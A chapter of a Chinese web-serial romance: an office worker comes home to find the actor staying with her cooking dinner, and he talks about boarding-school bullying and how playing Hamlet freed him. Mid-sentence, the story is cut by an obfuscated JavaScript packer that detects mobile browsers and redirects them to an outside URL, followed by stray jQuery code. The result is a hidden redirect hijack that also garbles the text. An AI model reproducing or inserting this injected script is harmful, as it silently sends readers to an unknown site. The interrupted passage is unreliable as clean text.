默认冷灰
24号文字
方正启体

10. 第 10 章

作者:单宁1994本书字数:K更新时间:
    10


    次日早晨,伊林在表铃响起之前醒来。她将何屿搭在腰间的手挪开,坐起身来去看男子的睡颜。在她身边,他总是睡得很熟,这让她有一种温暖的成就感。


    手机表铃轻微响起,伊林马上按下关闭。她收回视线,安静走下床,将昨晚收拾好的化妆包带去浴室,轻轻关上卧室木门。


    现在是早上8点过半,完成洗漱与简单妆容大概需要40分钟,九点半左右到公司。出门之前,伊林在客厅桌上留了密码锁的开门感应卡,写了便笺条,告知何屿附近便利店位置、好吃的私房菜、可以送上门的熟人餐厅地址电话、以及一些日用品快送方式。放下笔之前伊林想了想,留下了自己的电话与微信。


    走出家门,走进电梯间,伊林想,沉睡中的人会很快醒来。或许他会感到疑惑,这是一个完全陌生的房间。然后他会慢慢清醒,意识到这是李伊林的家。在这个家里,冰箱里只有气泡水,植物总是被养得半死不活,电视常年不开,书柜里有很多书塑封尚在。


    伊林并不想把真实的生活陈列出来。但对于何屿,她倒内心放松。如同他的亲口界定,何屿对她没有除过睡眠协议之外的任何感情,自然也不会对她的家、她的生活有所好奇。


    来接她的车子停在路边,伊林打开车门坐进去,对司机确认手机尾号。她看向窗外。这十五分钟,是她每日从自我领地切换至工作角色的放空隔断。它总是无知无觉,在或阴或晴的窗外景色中迅速消弭。


    车子在公司正门前停下。伊林走过长廊,在一楼大厅遇见同事。她迅速绽出礼貌笑容,对对方例行问好。


    电梯内陷入拥挤,每一个人都在抬头看层数。35,36,37,叮。伊林走出四方封闭的移动铁盒,推开被挂上圣诞花环的玻璃门,对前台漂亮女孩微笑。新的一天开始了。


    下午时分,办公区内产品研发区越发空荡。临近圣诞,外派VP与同事都已回国,日历中欧洲总部会议已基本停止,品牌部也有了暂时的喘息时间。


    难得一个没有排满会议日程的周四,伊林下午稍稍摸了会儿鱼,去看有关何屿的人物报道。沉寂五年让他的此番复出更加吸引眼球。很多影评人都把他当成流量热点,从各种角度分析他的演艺生涯与近期动态。社交网络上对他的提及率也持续上升,伊林敏锐注意到,有关何屿家世的负面信息又开始成群出现。她将这些营销号段做了收集整理,交给舆情观测部门。品牌代言人将在1月27日官宣,这些号段需要提前打点。


    接近6点时,伊林在微信上收到何屿的好友申请,她点了同意。加上之后,何屿只发了个微笑表情,伊林回个调皮笑脸,就再无其他。在6点开始的跨部门系统会议间隙,李伊林翻看了何屿的朋友圈,只有无人的景色照片,大多是日出时温暖静谧的世界。它们更像失眠之人的救赎时刻。


    退出何屿朋友圈界面时,看到对方新发一张图,是日落时被余晖覆盖的氤氲楼群。伊林认出这个景色,属于她所住高层的顶层天台。


    美丽的褐发男子迎风站在天台,面对夕阳,沐浴在冰冷光辉之下。伊林在脑中想象着,浮现出曾经有过的感受:何屿可以把任何场景变为一场电影。


    7点整,会议结束,办公区空了大半。伊林在半小时后走出大楼,叫车回家。


    打开家门,闻到久违的食物香气。她将包放下,外套挂在门厅,走进厨房去看——是系着围裙正在做饭的何屿。他穿着浅灰色系居家服,头发有些毛茸茸的,是完全无法被想象的“明星”形象。从背后的角度看过去,他的头发被睡得凌乱,稍微曲卷得翘起来,像个毛绒动物——伊林从没觉得自己的厨房也能如此可爱。


    “……你会做饭?”她靠在门框上问他。


    正在看手机菜谱的男子循声看她,是稍稍讶异的神情。“你回来了。”那张漂亮面孔绽出淡淡微笑。“林其卫会做饭,所以我也要会做。”他将手机放回围裙兜里,继续往汤锅里放调料。“下周要拍他给一堆朋友做饭的戏。”


    “闻起来味道不错。”伊林继续靠在门框上看他。她在想他身上的黑色围裙是哪里来的。


    “马上好。饭桌上有做好的菜,你先去尝尝。”何屿没有再回头看她,他的精力集中在灶台上,看样子是不太想有人围观。


    “好。”伊林离开门框,识趣走开,洗了手去饭桌前坐下。桌上放着清蒸鱼、白灼虾、香菇菜心,餐具尚未准备。伊林想了想,借口拿餐具返回厨房。


    不甚熟练的何屿又把手机掏了出来,一手举着屏幕看步骤,一手将刚切好的配菜放进锅里。见此情景伊林忍不住笑出声,绕过他拉开碗柜拿餐具。“你看起来完全不会做饭。”她对他说实话。


    “我知道。”他听起来没了平日的从容,语气里透着微小恼怒。“要再练几回。”


    伊林觉得他有趣,故意站在一边不走。何屿干脆双手交叉看她,好像他才是厨房主人。


    “我走我走。”伊林拿着餐具出了厨房。摆好餐桌后她想,如果把戴着黑围裙的赌气何屿拍下发到社交网络,一定能上爆款热搜。


    伊林自顾自笑了一会儿,回归正经表情,坐下刷手机。


    不到五分钟,大厨来上了最后一道汤。他的围裙卸了,袖子依然挽过手肘。“尝尝,可能不好吃,但我确保都熟了。”他拿过餐具,为两个人盛好汤。


    “我开动了。”伊林学着日剧里的开饭仪式,双手合十对何屿坐着鞠躬。然后她一本正经喝下一口汤。不算难吃,但也绝对算不上好吃。


    “怎么样?”何屿问她。


    “……对于初学者来说,你厨艺不错。”伊林实话实说。


    何屿看看她,自己尝了一口汤。?“可以吃。”他点点头,给自己一个好评。


    “嗯。第一次做饭的话,很不容易了。”伊林想起自己多灾多难的下厨黑历史。


    “我以前做过饭,只不过广式是第一次。”何屿澄清。


    这倒新奇。“我以为有专门的厨师给你做饭。”伊林抬头看他。


    “在英国读大学时经常自己做。”何屿为两人做分食,这应该是他长久养成的习惯。“很多角色也都有做饭戏,需要练习。”


    “……没想到,你自理能力竟然比我强。”伊林边吃边点头。


    何屿看她一眼,没有说话。伊林觉得他在鄙视她。


    吃完饭后,伊林坚持去洗碗。何屿去浴室快速冲了澡。伊林有一种感觉,他其实并不喜欢下厨,不喜欢头发沾上油烟味。但作为专业演员,他已学会忍耐。


    墙上时钟指向9点半,伊林打开黑胶唱机,选了王羽佳的拉赫马尼诺夫。钢琴响起,她靠在沙发背上闭起眼睛。这是她每天真正的放松时刻。忘掉职场,忘掉选择,忘掉希望,忘掉失望。


    十分钟后,浴室水声停下。颀长男子带着熟悉的沉香气息坐在她身旁。伊林睁开眼睛看他,何屿半干的头发向后顺过去,露出他漂亮的额头。他的姿势与伊林一样,仰起头来,背靠沙发,闭上眼睛。


    他的美,离得太过近,像某种传说透过窗棂,掉落成真。在她身边,他并不设防。


    “你的脸……像正在进行的乐章。”鬼使神差一般,伊林对他说出内心所想。


    “……喜欢这张脸?”何屿没有改变任何动作。他只是开口问她。


    “没有人会不喜欢吧。”她说。


    身边男子睁开眼睛,望向虚空。


    “不是每个人都喜欢这张脸。对于一个男人来说,它太过美丽了。”


    伊林继续看他,在脑中定格这个画面。


    “……不喜欢的,应该是同龄的男性群体?”


    何屿看向她,并不奇怪于她的敏锐。


    “是。十几岁时我在寄宿学校读书,那时候这张脸长得像个女孩。高低年级阶级森严,我是其中为数很少的黄种人。因为这张性别模糊的脸,我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459245|169676||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吃了不少苦头。”


    听到此,伊林内心紧张,她担心何屿受到霸凌。


    “学校里……有人欺负你?”


    “……也不知道算不算得上欺负吧。只是有一些冲突。它让我很不舒服。”何屿歪了歪肩膀,让自己找到更舒服的位置。“渐渐我找到能避免冲突的方式:尽可能表现出更多的男性式强悍。加入足球队,自觉去健身,大多数时候保持表情淡漠,不拒绝任何男性团体活动邀请。”


    “这种生活……听起来很嘈杂。”


    嘈杂。“……你的形容很精准。”何屿看向李伊林。“很多细微的感受、感情,是不能被表现出来的。那时候的我,觉得不要有它们比较好。”


    “嗯,能想象。”虽然没有过寄宿学校经历,伊林依然明晰少年时代不成文的团体准则。不能敏感,不能感伤,更不能掉眼泪。如果被视为软弱,很大几率会招来群体霸凌。


    “十五岁时,我被小组同学拉进戏剧社,为了交作业去演哈姆雷特。本来只是完成任务,却越走越深。生平第一次,我可以肆无忌惮发泄情绪……疯癫或者脆弱,狂喜或者掉泪,都不会给我带来任何后果。我觉得……我解脱了。”


    伊林看过何屿饰演哈姆雷特。直到今天,她依然记得在那模糊不稳的即拍视频里,俊美年轻、骄傲脆弱的何屿在台上变身徘徊于生存毁灭之间的丹麦王子——


    “谁愿意忍受人世的鞭笞和讥讽、压迫者的凌辱、傲慢者的冷眼、被轻蔑的爱情的惨痛、法律的迁延、官吏的横暴和费尽辛勤所换来的小人的鄙视,要是他只要用一柄小小的刀子,就可以清算他自己的一生?谁愿意背负这样的重担,在烦劳的生命的压迫下呻吟流汗,倘不是因为惧怕不可知的死后,惧怕那个从来不曾有一个旅人回来过的神秘之国,是它迷惑了我们的意志,使我们宁愿忍受目前的折磨,不敢向我们所不知的痛苦飞去?重重的顾虑使我们全变成了懦夫,决心的赤热的光彩,被审慎的思维盖上一层灰色,伟大的事业在这一种考虑之下,也会逆流而退,失去了行动的意义!”


    “……但愿我也能够向我的生命告别,但愿我也能够向我的生命告别,但愿我也能够向我的生命告别……”


    那些模糊美丽的影像与声音,像一首诗,流存在伊林的记忆里。他的痛苦被暴露在强光之下,美丽的脸上布满汗水与泪痕。只有在舞台上,他才是真正活着的。


    “表演是你的释放。”伊林对他说出八年前她曾写下的话。表演,是你隐秘的调节自我,是你得以继续存活的方式。在一个又一个流动的名字里,你将自己变成容器。“我喜欢看你在镜头前变成另一个人。”


    何屿没有说话。他揽过她的肩膀,接纳着她的理解。


    伊林顺从接受。她明白,这种肢体碰触并非暧昧。何屿是在把她当朋友。


    一曲终了,何屿揽住她的手已经松垮放下。他的呼吸均匀,已陷入浅眠。伊林起身为他盖上薄毯,关掉唱机,去往浴室。


    冲好澡出来,客厅已不见男子身影。她安静走至卧室,何屿已经趴在床上睡着了。


    伊林为他盖好被子,返回客厅,打开电脑,新建空白文档,敲下一些字句。然后,是一段开始。情节进展着,形成形象。人物交错着……形成故事。


    她写了将近两个小时,直到凌晨。从几个片段,延展成为小小世界。而这个世界,会作为背景,展开一个人的一生。


    窗外高楼灯带尽数熄灭,唯有一轮明月。这是每日都会看到的夜色,今日却稍有不同。是因为有如月光般的人闯入了她的生活,还是因为她久违的,进入了完全沉浸其中的另一个世界?


    伊林关掉电脑,站起身来,凝视黑暗中的皎洁星球。


    既然故事已经开始,唯有顺其自然。


    房间里所有的灯都被关上,唯有遥远星球透入窗棂。


    李伊林走入卧室,掀开被子,躺入另一个人的温度里。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)